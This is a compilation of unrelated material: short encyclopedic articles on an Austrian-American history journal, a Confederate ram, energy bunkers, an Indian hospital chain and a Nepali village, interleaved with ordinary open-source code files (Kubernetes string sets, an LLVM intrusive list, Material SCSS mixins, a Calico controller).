```xml /** * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ const userAgent = typeof navigator === 'object' ? navigator.userAgent : ''; export const isWindows = userAgent.indexOf('Windows') >= 0; export const isMac = userAgent.indexOf('Macintosh') >= 0; ```
The Journal of Austrian-American History is a biannual, open access, peer-reviewed scholarly journal published by Pennsylvania State University Press, and the flagship publication of the Botstiber Institute for Austrian-American Studies. The journal publishes new research, review essays, and other materials of significance that explore the historic relationship between the United States and Austria, including the lands of the historic Habsburg empire. Content is interdisciplinary and emphasizes transatlantic exchange, across the fields of historical, political science, economics, law, and cultural studies. The Journal is covered in the Scopus abstract and citation database and in ERIH PLUS. It is indexed and accessible via the digital library of the Scholarly Publishing Collective at Duke University Press. Austrian-American relations By the mid-eighteenth century, as recent scholarship has shown, this historic relationship had already become significant, particularly in the period of the American revolution. During the American Civil War, Habsburg elites, such as Charles Frederick de Loosey, the Austrian consul in New York, finessed a balance among U.S., Austrian, and Mexican interests. Meanwhile, immigrants from across Austria-Hungary had begun to shape everyday life in the fields of media and commerce, popular and high culture, and more. The First World War reconfigured Austrian-American relations, not least through the postwar redrawing of Austro-Hungarian borders and the financial reconstruction of the First Austrian Republic. But inasmuch as the U.S. Senate had rejected the Treaty of Versailles, the process of reaching a U.S.-Austrian peace took a circuitous and prolonged path. These developments constitute notable early peaks in a twentienth-century characterized by a series of high water marks in political, economic, and diplomatic relations between the two countries. Meanwhile, the entertainment industry continues to reshuffle episodes in Austrian-American history, via familiar tropes of imperial Austria, the Cold War, "Coca-Colonization," and more. Published volumes The first volume of the Journal of Austrian-American History appeared in 2017. It included articles on Hungarian migrant marriages in the United States, a study of Austrian and Dustbowl refugees, as they appear in Hollywood cinema, and an assessment of Hip hop, Malcolm X, and Muslim activism in Austria. The volume that followed featured a special issue on migration from Central Europe, together with articles on the ties between the industrialist and arts patron Walter Paepcke, the Hungarian artist László Moholy-Nagy, and an emerging Bauhaus sensibility in Chicago, among others. The Journal has also presented archival research foregrounding the correspondence of prominent Habsburg-Americans, with articles devoted to John R. Palandech (Ivan Palandačić), the well-known immigrant publisher, politician, and entrepreneur in Chicago, and an essay by Walter D. Kamphoefner on language and loyalty among German Americans during World War I. Oral histories of American diplomatic personnel stationed in Vienna from 1945–55, recorded by the Association for Diplomatic Studies and Training, are also featured. The 2020 volume includes an investigation of Vienna and the British-American film production, The Third Man, as a locus classicus for postwar espionage, together with an assessment by Günter Bischof of Allied post-World War II occupation and nation-building, and its lessons for the future. In addition, Jacqueline Vansant edits a special issue on "Austrian Children and Youth Fleeing Nazi Austria," with four contributions, ranging from an essay on Ernst Papanek to an article on intracategorical complexity in the memoirs of young Jewish Austrian emigrants to the United States. The 2021 volume contained a special issue on "Americans in Vienna 1945-1955," while the 2022 volume included a special issue on "Musical Diplomacy in Austrian-American Relations." Editorial board The editorial board of the Journal of Austrian-American History is composed of leading scholars in Austrian history in the United States and Europe, including Siegfried Beer, Peter Becker, Günter Bischof, Gary B. Cohen, Olivia Florek, Farid Hafez, Christian Karner, Teresa Kovacs, Nathan Marcus, Britta McEwen, Peter Meilaender, Martin Nedbal, Nicole M. Phelps, Dominique Reill, and Julia Secklehner. The editor is Michael Burri. See also Austrian Americans Austrian Studies Association Foreign relations of the United States Foreign relations of Austria Transatlantic relations References Academic Press academic journals Austria–United States relations Habsburg monarchy Penn State University Press academic journals
CSS Webb, a 655-ton side-wheel steam ram, was originally built in New York City in 1856 as the civilian steamship William H. Webb. She received a Confederate privateer's commission at New Orleans in May 1861, but was instead employed as a transport until January 1862. Converted to a "cotton clad" ram by the Confederate Army, thereafter served on the Mississippi and Red Rivers. On February 24, 1863, under the command of Captain Charles Pierce, she participated in the sinking of the Federal ironclad . Webb was transferred to the Confederate Navy in early 1865. On April 23–24, 1865, under the command of Charles S. Read, Webb broke through the Federal blockade at the mouth of the Red River, Louisiana, and made a dramatic run down the Mississippi toward the Gulf of Mexico. After eluding several United States Navy vessels and passing New Orleans, she was confronted by the powerful steam sloop . Rather than face the veteran ship's broadside, the Webb was run ashore and destroyed by her crew. See also Blockade runners of the American Civil War List of ships of the Confederate States Navy Confederate River Defense Fleet Mississippi River campaigns Red River Campaign References Sources - Cottonclad rams of the Confederate States Navy 1856 ships Ships built by William H. Webb Shipwrecks of the American Civil War Shipwrecks of the Mississippi River Maritime incidents in April 1865
```go /* path_to_url Unless required by applicable law or agreed to in writing, software WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ // Code generated by set-gen. DO NOT EDIT. // NOTE: This file is copied from k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/sets/string.go // because in Kubernetes we don't allowed vendor code to import staging code. See // path_to_url for more details. package sets import ( "reflect" "sort" ) // sets.String is a set of strings, implemented via map[string]struct{} for minimal memory consumption. type String map[string]Empty // NewString creates a String from a list of values. func NewString(items ...string) String { ss := String{} ss.Insert(items...) return ss } // StringKeySet creates a String from a keys of a map[string](? extends interface{}). // If the value passed in is not actually a map, this will panic. func StringKeySet(theMap interface{}) String { v := reflect.ValueOf(theMap) ret := String{} for _, keyValue := range v.MapKeys() { ret.Insert(keyValue.Interface().(string)) } return ret } // Insert adds items to the set. func (s String) Insert(items ...string) { for _, item := range items { s[item] = Empty{} } } // Delete removes all items from the set. func (s String) Delete(items ...string) { for _, item := range items { delete(s, item) } } // Has returns true if and only if item is contained in the set. func (s String) Has(item string) bool { _, contained := s[item] return contained } // HasAll returns true if and only if all items are contained in the set. func (s String) HasAll(items ...string) bool { for _, item := range items { if !s.Has(item) { return false } } return true } // HasAny returns true if any items are contained in the set. func (s String) HasAny(items ...string) bool { for _, item := range items { if s.Has(item) { return true } } return false } // Difference returns a set of objects that are not in s2 // For example: // s1 = {a1, a2, a3} // s2 = {a1, a2, a4, a5} // s1.Difference(s2) = {a3} // s2.Difference(s1) = {a4, a5} func (s String) Difference(s2 String) String { result := NewString() for key := range s { if !s2.Has(key) { result.Insert(key) } } return result } // Union returns a new set which includes items in either s1 or s2. // For example: // s1 = {a1, a2} // s2 = {a3, a4} // s1.Union(s2) = {a1, a2, a3, a4} // s2.Union(s1) = {a1, a2, a3, a4} func (s1 String) Union(s2 String) String { result := NewString() for key := range s1 { result.Insert(key) } for key := range s2 { result.Insert(key) } return result } // Intersection returns a new set which includes the item in BOTH s1 and s2 // For example: // s1 = {a1, a2} // s2 = {a2, a3} // s1.Intersection(s2) = {a2} func (s1 String) Intersection(s2 String) String { var walk, other String result := NewString() if s1.Len() < s2.Len() { walk = s1 other = s2 } else { walk = s2 other = s1 } for key := range walk { if other.Has(key) { result.Insert(key) } } return result } // IsSuperset returns true if and only if s1 is a superset of s2. func (s1 String) IsSuperset(s2 String) bool { for item := range s2 { if !s1.Has(item) { return false } } return true } // Equal returns true if and only if s1 is equal (as a set) to s2. // Two sets are equal if their membership is identical. // (In practice, this means same elements, order doesn't matter) func (s1 String) Equal(s2 String) bool { return len(s1) == len(s2) && s1.IsSuperset(s2) } type sortableSliceOfString []string func (s sortableSliceOfString) Len() int { return len(s) } func (s sortableSliceOfString) Less(i, j int) bool { return lessString(s[i], s[j]) } func (s sortableSliceOfString) Swap(i, j int) { s[i], s[j] = s[j], s[i] } // List returns the contents as a sorted string slice. func (s String) List() []string { res := make(sortableSliceOfString, 0, len(s)) for key := range s { res = append(res, key) } sort.Sort(res) return []string(res) } // UnsortedList returns the slice with contents in random order. func (s String) UnsortedList() []string { res := make([]string, 0, len(s)) for key := range s { res = append(res, key) } return res } // Returns a single element from the set. func (s String) PopAny() (string, bool) { for key := range s { s.Delete(key) return key, true } var zeroValue string return zeroValue, false } // Len returns the size of the set. func (s String) Len() int { return len(s) } func lessString(lhs, rhs string) bool { return lhs < rhs } ```
```objective-c //===- llvm/ADT/simple_ilist.h - Simple Intrusive List ----------*- C++ -*-===// // // See path_to_url for license information. // //===your_sha256_hash------===// #ifndef LLVM_ADT_SIMPLE_ILIST_H #define LLVM_ADT_SIMPLE_ILIST_H #include "llvm/ADT/ilist_base.h" #include "llvm/ADT/ilist_iterator.h" #include "llvm/ADT/ilist_node.h" #include "llvm/ADT/ilist_node_options.h" #include "llvm/Support/Compiler.h" #include <algorithm> #include <cassert> #include <cstddef> #include <functional> #include <iterator> #include <utility> namespace llvm { /// A simple intrusive list implementation. /// /// This is a simple intrusive list for a \c T that inherits from \c /// ilist_node<T>. The list never takes ownership of anything inserted in it. /// /// Unlike \a iplist<T> and \a ilist<T>, \a simple_ilist<T> never deletes /// values, and has no callback traits. /// /// The API for adding nodes include \a push_front(), \a push_back(), and \a /// insert(). These all take values by reference (not by pointer), except for /// the range version of \a insert(). /// /// There are three sets of API for discarding nodes from the list: \a /// remove(), which takes a reference to the node to remove, \a erase(), which /// takes an iterator or iterator range and returns the next one, and \a /// clear(), which empties out the container. All three are constant time /// operations. None of these deletes any nodes; in particular, if there is a /// single node in the list, then these have identical semantics: /// \li \c L.remove(L.front()); /// \li \c L.erase(L.begin()); /// \li \c L.clear(); /// /// As a convenience for callers, there are parallel APIs that take a \c /// Disposer (such as \c std::default_delete<T>): \a removeAndDispose(), \a /// eraseAndDispose(), and \a clearAndDispose(). These have different names /// because the extra semantic is otherwise non-obvious. They are equivalent /// to calling \a std::for_each() on the range to be discarded. /// /// The currently available \p Options customize the nodes in the list. The /// same options must be specified in the \a ilist_node instantiation for /// compatibility (although the order is irrelevant). /// \li Use \a ilist_tag to designate which ilist_node for a given \p T this /// list should use. This is useful if a type \p T is part of multiple, /// independent lists simultaneously. /// \li Use \a ilist_sentinel_tracking to always (or never) track whether a /// node is a sentinel. Specifying \c true enables the \a /// ilist_node::isSentinel() API. Unlike \a ilist_node::isKnownSentinel(), /// which is only appropriate for assertions, \a ilist_node::isSentinel() is /// appropriate for real logic. /// /// Here are examples of \p Options usage: /// \li \c simple_ilist<T> gives the defaults. \li \c /// simple_ilist<T,ilist_sentinel_tracking<true>> enables the \a /// ilist_node::isSentinel() API. /// \li \c simple_ilist<T,ilist_tag<A>,ilist_sentinel_tracking<false>> /// specifies a tag of A and that tracking should be off (even when /// LLVM_ENABLE_ABI_BREAKING_CHECKS are enabled). /// \li \c simple_ilist<T,ilist_sentinel_tracking<false>,ilist_tag<A>> is /// equivalent to the last. /// /// See \a is_valid_option for steps on adding a new option. template <typename T, class... Options> class simple_ilist : ilist_detail::compute_node_options<T, Options...>::type::list_base_type, ilist_detail::SpecificNodeAccess< typename ilist_detail::compute_node_options<T, Options...>::type> { static_assert(ilist_detail::check_options<Options...>::value, "Unrecognized node option!"); using OptionsT = typename ilist_detail::compute_node_options<T, Options...>::type; using list_base_type = typename OptionsT::list_base_type; ilist_sentinel<OptionsT> Sentinel; public: using value_type = typename OptionsT::value_type; using pointer = typename OptionsT::pointer; using reference = typename OptionsT::reference; using const_pointer = typename OptionsT::const_pointer; using const_reference = typename OptionsT::const_reference; using iterator = ilist_iterator<OptionsT, false, false>; using const_iterator = ilist_iterator<OptionsT, false, true>; using reverse_iterator = ilist_iterator<OptionsT, true, false>; using const_reverse_iterator = ilist_iterator<OptionsT, true, true>; using size_type = size_t; using difference_type = ptrdiff_t; simple_ilist() = default; ~simple_ilist() = default; // No copy constructors. simple_ilist(const simple_ilist &) = delete; simple_ilist &operator=(const simple_ilist &) = delete; // Move constructors. simple_ilist(simple_ilist &&X) { splice(end(), X); } simple_ilist &operator=(simple_ilist &&X) { clear(); splice(end(), X); return *this; } iterator begin() { return ++iterator(Sentinel); } const_iterator begin() const { return ++const_iterator(Sentinel); } iterator end() { return iterator(Sentinel); } const_iterator end() const { return const_iterator(Sentinel); } reverse_iterator rbegin() { return ++reverse_iterator(Sentinel); } const_reverse_iterator rbegin() const { return ++const_reverse_iterator(Sentinel); } reverse_iterator rend() { return reverse_iterator(Sentinel); } const_reverse_iterator rend() const { return const_reverse_iterator(Sentinel); } /// Check if the list is empty in constant time. [[nodiscard]] bool empty() const { return Sentinel.empty(); } /// Calculate the size of the list in linear time. [[nodiscard]] size_type size() const { return std::distance(begin(), end()); } reference front() { return *begin(); } const_reference front() const { return *begin(); } reference back() { return *rbegin(); } const_reference back() const { return *rbegin(); } /// Insert a node at the front; never copies. void push_front(reference Node) { insert(begin(), Node); } /// Insert a node at the back; never copies. void push_back(reference Node) { insert(end(), Node); } /// Remove the node at the front; never deletes. void pop_front() { erase(begin()); } /// Remove the node at the back; never deletes. void pop_back() { erase(--end()); } /// Swap with another list in place using std::swap. void swap(simple_ilist &X) { std::swap(*this, X); } /// Insert a node by reference; never copies. iterator insert(iterator I, reference Node) { list_base_type::insertBefore(*I.getNodePtr(), *this->getNodePtr(&Node)); return iterator(&Node); } /// Insert a range of nodes; never copies. template <class Iterator> void insert(iterator I, Iterator First, Iterator Last) { for (; First != Last; ++First) insert(I, *First); } /// Clone another list. template <class Cloner, class Disposer> void cloneFrom(const simple_ilist &L2, Cloner clone, Disposer dispose) { clearAndDispose(dispose); for (const_reference V : L2) push_back(*clone(V)); } /// Remove a node by reference; never deletes. /// /// \see \a erase() for removing by iterator. /// \see \a removeAndDispose() if the node should be deleted. void remove(reference N) { list_base_type::remove(*this->getNodePtr(&N)); } /// Remove a node by reference and dispose of it. template <class Disposer> void removeAndDispose(reference N, Disposer dispose) { remove(N); dispose(&N); } /// Remove a node by iterator; never deletes. /// /// \see \a remove() for removing by reference. /// \see \a eraseAndDispose() it the node should be deleted. iterator erase(iterator I) { assert(I != end() && "Cannot remove end of list!"); remove(*I++); return I; } /// Remove a range of nodes; never deletes. /// /// \see \a eraseAndDispose() if the nodes should be deleted. iterator erase(iterator First, iterator Last) { list_base_type::removeRange(*First.getNodePtr(), *Last.getNodePtr()); return Last; } /// Remove a node by iterator and dispose of it. template <class Disposer> iterator eraseAndDispose(iterator I, Disposer dispose) { auto Next = std::next(I); erase(I); dispose(&*I); return Next; } /// Remove a range of nodes and dispose of them. template <class Disposer> iterator eraseAndDispose(iterator First, iterator Last, Disposer dispose) { while (First != Last) First = eraseAndDispose(First, dispose); return Last; } /// Clear the list; never deletes. /// /// \see \a clearAndDispose() if the nodes should be deleted. void clear() { Sentinel.reset(); } /// Clear the list and dispose of the nodes. template <class Disposer> void clearAndDispose(Disposer dispose) { eraseAndDispose(begin(), end(), dispose); } /// Splice in another list. void splice(iterator I, simple_ilist &L2) { splice(I, L2, L2.begin(), L2.end()); } /// Splice in a node from another list. void splice(iterator I, simple_ilist &L2, iterator Node) { splice(I, L2, Node, std::next(Node)); } /// Splice in a range of nodes from another list. void splice(iterator I, simple_ilist &, iterator First, iterator Last) { list_base_type::transferBefore(*I.getNodePtr(), *First.getNodePtr(), *Last.getNodePtr()); } /// Merge in another list. /// /// \pre \c this and \p RHS are sorted. ///@{ void merge(simple_ilist &RHS) { merge(RHS, std::less<T>()); } template <class Compare> void merge(simple_ilist &RHS, Compare comp); ///@} /// Sort the list. ///@{ void sort() { sort(std::less<T>()); } template <class Compare> void sort(Compare comp); ///@} }; template <class T, class... Options> template <class Compare> void simple_ilist<T, Options...>::merge(simple_ilist &RHS, Compare comp) { if (this == &RHS || RHS.empty()) return; iterator LI = begin(), LE = end(); iterator RI = RHS.begin(), RE = RHS.end(); while (LI != LE) { if (comp(*RI, *LI)) { // Transfer a run of at least size 1 from RHS to LHS. iterator RunStart = RI++; RI = std::find_if(RI, RE, [&](reference RV) { return !comp(RV, *LI); }); splice(LI, RHS, RunStart, RI); if (RI == RE) return; } ++LI; } // Transfer the remaining RHS nodes once LHS is finished. splice(LE, RHS, RI, RE); } template <class T, class... Options> template <class Compare> void simple_ilist<T, Options...>::sort(Compare comp) { // Vacuously sorted. if (empty() || std::next(begin()) == end()) return; // Split the list in the middle. iterator Center = begin(), End = begin(); while (End != end() && ++End != end()) { ++Center; ++End; } simple_ilist RHS; RHS.splice(RHS.end(), *this, Center, end()); // Sort the sublists and merge back together. sort(comp); RHS.sort(comp); merge(RHS, comp); } } // end namespace llvm #endif // LLVM_ADT_SIMPLE_ILIST_H ```
```scss // // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // // Theme: Variables, functions, and mixins required to theme component segment // stylelint-disable selector-class-pattern -- // Selector '.mdc-*' should only be used in this project. @use '@material/feature-targeting/feature-targeting'; @use '@material/theme/theme-color'; @use '@material/theme/custom-properties'; @use '@material/theme/theme'; $on-surface: theme-color.$on-surface; $surface: theme-color.$surface; $primary: theme-color.$primary; $unselected-ink-color: rgba($on-surface, 0.6); $outline-color: rgba($on-surface, 0.12); $unselected-container-fill-color: rgba($surface, 1); $selected-ink-color: rgba($primary, 1); $selected-container-fill-color: rgba($primary, 0.08); $height: 36px; $min-width: 48px; $horizontal-padding: 12px; $border-width: 1px; $border-radius: 4px; $icon-width: 24px; $icon-font-size: 18px; $label-padding: 6px; $touch-target-height: 48px; /// Sets the border color of the segment /// @param {String} $color - Color of segment outline @mixin outline-color($color, $query: feature-targeting.all()) { $feat-color: feature-targeting.create-target($query, color); $property: custom-properties.create( --mdc-segmented-button-outline-color, $color ); .mdc-segmented-button__segment { @include feature-targeting.targets($feat-color) { @include theme.property('border-color', $property); } } } /// Sets the text and icon color within the segment when it is not selected /// @param {String} $color - Color of text and icon in segment @mixin unselected-ink-color($color, $query: feature-targeting.all()) { .mdc-segmented-button__segment { $property: custom-properties.create( --mdc-segmented-button-unselected-ink-color, $color ); @include _ink-color($property, $query); } } /// Sets the background fill color of the segment when it is not selected /// @param {String} $color - Color of segment background @mixin unselected-container-fill-color( $color, $query: feature-targeting.all() ) { .mdc-segmented-button__segment { $property: custom-properties.create( --mdc-segmented-button-unselected-container-fill-color, $color ); @include _container-fill-color($property, $query); } } /// Sets the text and icon color within the segment when it is selected /// @param {String} $color - Color of text and icon in segment @mixin selected-ink-color($color, $query: feature-targeting.all()) { .mdc-segmented-button__segment--selected { $property: custom-properties.create( --mdc-segmented-button-selected-ink-color, $color ); @include _ink-color($property, $query); } } /// Sets the background fill color of the segment when it is not selected /// @param {String} $color - Color of segment background @mixin selected-container-fill-color($color, $query: feature-targeting.all()) { .mdc-segmented-button__segment--selected { $property: custom-properties.create( --mdc-segmented-button-selected-container-fill-color, $color ); @include _container-fill-color($property, $query); } } /// Sets the text and icon color /// @param {Map} $property - Custom property of text and icon color @mixin _ink-color($property, $query: feature-targeting.all()) { $feat-color: feature-targeting.create-target($query, color); @include feature-targeting.targets($feat-color) { @include theme.property('color', $property); } } /// Sets the background fill color /// @param {Map} $property - Custom property of background color @mixin _container-fill-color($property, $query: feature-targeting.all()) { $feat-color: feature-targeting.create-target($query, color); @include feature-targeting.targets($feat-color) { @include theme.property('background-color', $property); } } ```
In energy statistics, marine bunkers and aviation bunkers as defined by the International Energy Agency are the energy consumption of ships and aircraft. Marine and aviation bunkers are reported separately from international bunkers, which represent consumption of ships and aircraft on international routes. International bunkers are subtracted from the energy supplies of a country to calculate its domestic consumption. It is as if international aviation and international shipping did not belong to any country. They are managed by the International Civil Aviation Organization (ICAO) and the International Maritime Organization (IMO). Critics The European Federation for Transport and Environment has only limited confidence in ICAO and IMO's ability to reduce air and sea emissions due to international bunkers and thus to comply with the Paris Climate Agreement. A few figures International marine bunkers amount to 2,466 TWh/a whereas international aviation bunkers amount to 2,163 TWh/a. References See also Bunkering Energy in transport
```go // // // path_to_url // // Unless required by applicable law or agreed to in writing, software // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. package serviceaccount import ( "context" "reflect" "strings" log "github.com/sirupsen/logrus" api "github.com/projectcalico/api/pkg/apis/projectcalico/v3" rcache "github.com/projectcalico/calico/kube-controllers/pkg/cache" "github.com/projectcalico/calico/kube-controllers/pkg/config" "github.com/projectcalico/calico/kube-controllers/pkg/controllers/controller" "github.com/projectcalico/calico/kube-controllers/pkg/converter" kdd "github.com/projectcalico/calico/libcalico-go/lib/backend/k8s/conversion" client "github.com/projectcalico/calico/libcalico-go/lib/clientv3" "github.com/projectcalico/calico/libcalico-go/lib/errors" "github.com/projectcalico/calico/libcalico-go/lib/options" v1 "k8s.io/api/core/v1" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/fields" uruntime "k8s.io/apimachinery/pkg/util/runtime" "k8s.io/client-go/kubernetes" "k8s.io/client-go/tools/cache" ) // serviceAccountController implements the Controller interface for managing Kubernetes service account // and syncing them to the Calico datastore as Profiles. type serviceAccountController struct { informer cache.Controller resourceCache rcache.ResourceCache calicoClient client.Interface ctx context.Context cfg config.GenericControllerConfig } // NewServiceAccountController returns a controller which manages ServiceAccount objects. func NewServiceAccountController(ctx context.Context, k8sClientset *kubernetes.Clientset, c client.Interface, cfg config.GenericControllerConfig) controller.Controller { serviceAccountConverter := converter.NewServiceAccountConverter() // Function returns map of profile_name:object stored by policy controller // in the Calico datastore. Identifies controller written objects by // their naming convention. listFunc := func() (map[string]interface{}, error) { log.Debugf("Listing profiles from Calico datastore: to check for ServiceAccount") filteredProfiles := make(map[string]interface{}) // Get all profile objects from Calico datastore. profileList, err := c.Profiles().List(ctx, options.ListOptions{}) if err != nil { return nil, err } // Filter out only objects that are written by policy controller. for _, profile := range profileList.Items { if strings.HasPrefix(profile.Name, kdd.ServiceAccountProfileNamePrefix) { // Update the profile's ObjectMeta so that it simply contains the name. // There is other metadata that we might receive (like resource version) that we don't want to // compare in the cache. profile.ObjectMeta = metav1.ObjectMeta{Name: profile.Name} key := serviceAccountConverter.GetKey(profile) filteredProfiles[key] = profile } } log.Debugf("Found %d ServiceAccount profiles in Calico datastore", len(filteredProfiles)) return filteredProfiles, nil } // Create a Cache to store Profiles in. cacheArgs := rcache.ResourceCacheArgs{ ListFunc: listFunc, ObjectType: reflect.TypeOf(api.Profile{}), LogTypeDesc: "ServiceAccount", } ccache := rcache.NewResourceCache(cacheArgs) // Create a ServiceAccount watcher. listWatcher := cache.NewListWatchFromClient(k8sClientset.CoreV1().RESTClient(), "serviceaccounts", "", fields.Everything()) // Bind the calico cache to kubernetes cache with the help of an informer. This way we make sure that // whenever the kubernetes cache is updated, changes get reflected in the Calico cache as well. _, informer := cache.NewIndexerInformer(listWatcher, &v1.ServiceAccount{}, 0, cache.ResourceEventHandlerFuncs{ AddFunc: func(obj interface{}) { log.Debugf("Got ADD event for ServiceAccount: %#v", obj) profile, err := serviceAccountConverter.Convert(obj) if err != nil { log.WithError(err).Errorf("Error while converting %#v to Calico profile.", obj) return } // Add to cache. k := serviceAccountConverter.GetKey(profile) ccache.Set(k, profile) }, UpdateFunc: func(oldObj interface{}, newObj interface{}) { log.Debugf("Got UPDATE event for ServiceAccount") log.Debugf("Old object: \n%#v\n", oldObj) log.Debugf("New object: \n%#v\n", newObj) // Convert the ServiceAccount into a Profile. profile, err := serviceAccountConverter.Convert(newObj) if err != nil { log.WithError(err).Errorf("Error while converting %#v to Calico profile.", newObj) return } // Update in the cache. k := serviceAccountConverter.GetKey(profile) ccache.Set(k, profile) }, DeleteFunc: func(obj interface{}) { // Convert the ServiceAccount into a Profile. log.Debugf("Got DELETE event for ServiceAccount: %#v", obj) profile, err := serviceAccountConverter.Convert(obj) if err != nil { log.WithError(err).Errorf("Error converting %#v to Calico profile.", obj) return } k := serviceAccountConverter.GetKey(profile) ccache.Delete(k) }, }, cache.Indexers{}) return &serviceAccountController{informer, ccache, c, ctx, cfg} } // Run starts the controller. func (c *serviceAccountController) Run(stopCh chan struct{}) { defer uruntime.HandleCrash() // Let the workers stop when we are done workqueue := c.resourceCache.GetQueue() defer workqueue.ShutDown() log.Info("Starting ServiceAccount/Profile controller") // Wait till k8s cache is synced log.Debug("Waiting to sync with Kubernetes API (ServiceAccount)") go c.informer.Run(stopCh) if !cache.WaitForNamedCacheSync("service-accounts", stopCh, c.informer.HasSynced) { log.Info("Failed to sync resources, received signal for controller to shut down.") return } log.Debug("Finished syncing with Kubernetes API (ServiceAccount)") // Start Calico cache. c.resourceCache.Run(c.cfg.ReconcilerPeriod.String()) // Start a number of worker threads to read from the queue. for i := 0; i < c.cfg.NumberOfWorkers; i++ { go c.runWorker() } log.Info("ServiceAccount/Profile controller is now running") <-stopCh log.Info("Stopping ServiceAccount/Profile controller") } func (c *serviceAccountController) runWorker() { for c.processNextItem() { } } // processNextItem waits for an event on the output queue from the resource cache and syncs // any received keys to the datastore. func (c *serviceAccountController) processNextItem() bool { // Wait until there is a new item in the work queue. workqueue := c.resourceCache.GetQueue() key, quit := workqueue.Get() if quit { return false } // Sync the object to the Calico datastore. err := c.syncToDatastore(key.(string)) c.handleErr(err, key.(string)) // Indicate that we're done processing this key, allowing for safe parallel processing such that // two objects with the same key are never processed in parallel. workqueue.Done(key) return true } // syncToDatastore syncs the given update to the Calico datastore. The provided key can be used to // find the corresponding resource within the resource cache. If the resource for the provided key // exists in the cache, then the value should be written to the datastore. If it does not exist // in the cache, then it should be deleted from the datastore. func (c *serviceAccountController) syncToDatastore(key string) error { clog := log.WithField("key", key) // Check if it exists in the controller's cache. obj, exists := c.resourceCache.Get(key) if !exists { // The object no longer exists - delete from the datastore. clog.Infof("Deleting ServiceAccount Profile from Calico datastore") _, name := converter.NewServiceAccountConverter().DeleteArgsFromKey(key) _, err := c.calicoClient.Profiles().Delete(c.ctx, name, options.DeleteOptions{}) if _, ok := err.(errors.ErrorResourceDoesNotExist); !ok { // We hit an error other than "does not exist". return err } return nil } else { // The object exists - update the datastore to reflect. clog.Info("Create/Update ServiceAccount Profile in Calico datastore") p := obj.(api.Profile) // Lookup to see if this object already exists in the datastore. gp, err := c.calicoClient.Profiles().Get(c.ctx, p.Name, options.GetOptions{}) if err != nil { if _, ok := err.(errors.ErrorResourceDoesNotExist); !ok { clog.WithError(err).Warning("Unexpected error for ServiceAccount profile from datastore") return err } // Doesn't exist - create it. _, err := c.calicoClient.Profiles().Create(c.ctx, &p, options.SetOptions{}) if err != nil { clog.WithError(err).Warning("Failed to create ServiceAccount profile") return err } clog.Info("Successfully created ServiceAccount profile") return nil } // The profile already exists, update it and write it back to the datastore. gp.Spec = p.Spec clog.Infof("Update ServiceAccount Profile in Calico datastore with resource version %s", gp.ResourceVersion) _, err = c.calicoClient.Profiles().Update(c.ctx, gp, options.SetOptions{}) if err != nil { clog.WithError(err).Warning("Failed to update profile") return err } clog.Infof("Successfully updated profile") return nil } } // handleErr handles errors which occur while processing a key received from the resource cache. // For a given error, we will re-queue the key in order to retry the datastore sync up to 5 times, // at which point the update is dropped. func (c *serviceAccountController) handleErr(err error, key string) { workqueue := c.resourceCache.GetQueue() if err == nil { // Forget about the #AddRateLimited history of the key on every successful synchronization. // This ensures that future processing of updates for this key is not delayed because of // an outdated error history. workqueue.Forget(key) return } // This controller retries 5 times if something goes wrong. After that, it stops trying. if workqueue.NumRequeues(key) < 5 { // Re-enqueue the key rate limited. Based on the rate limiter on the // queue and the re-enqueue history, the key will be processed later again. log.WithError(err).Errorf("Error syncing Profile %v: %v", key, err) workqueue.AddRateLimited(key) return } workqueue.Forget(key) // Report to an external entity that, even after several retries, we could not successfully process this key uruntime.HandleError(err) log.WithError(err).Errorf("Dropping Profile %q out of the queue: %v", key, err) } ```
```php <?php interface AnotherInterface { public function doSomethingElse(); } ```
Established in 2001 as a tertiary care hospital, it has since become the market leader among private hospital chains in Western India. Sterling Addlife India Pvt. Ltd. owns and manages the hospital, which adheres to a patient-centric approach, ethical medical practices, and world-class healthcare as its corporate philosophy. Sterling offers a range of high-quality medical and surgical care in several critical specialties across its four multi-specialty hospitals located in Gujarat, namely Ahmedabad (298 beds), Vadodara (192 beds), Rajkot (190 beds), and Gandhidham (135 beds) Achievement In 2009, Sterling became the first hospital in Gujarat to be fully accredited by NABH. Its laboratories were also the first in Gujarat to be accredited by NABL. In 2010, for the second consecutive year, Sterling Hospital had been named the "No. 1" hospital in Ahmedabad based on the latest THE WEEK – IMRB surveys. In 2014, Sterling claimed that it was the first hospital chain in Gujarat to have a comprehensive diagnostics mobile application. Sterling Accuris Diagnosics is a sister concern of Sterling Group with 50+ labs across India. In 2017, Sterling Cancer Hospitals was launched to provide dedicated healthcare services for cancer patients. This hospitals are located in Ahmedabad, Baroda and Gandhidham In 2018, Commissioned Stroke Center in Ahmedabad: Sterling Hospitals established a comprehensive stroke center in Ahmedabad, providing round-the-clock care for stroke patients. References External links Official Website Sterling Hospital Ahmedabad Updated News & Details Hospital networks in India Hospitals in Ahmedabad 2001 establishments in Gujarat Indian companies established in 2001
Dandaphaya is a Village Development Committee in Humla District in the Karnali Zone of north-western Nepal. At the time of the 1991 Nepal census it had a population of 1255 persons living in 232 individual households. References External links UN map of the municipalities of Dolpa District Populated places in Humla District
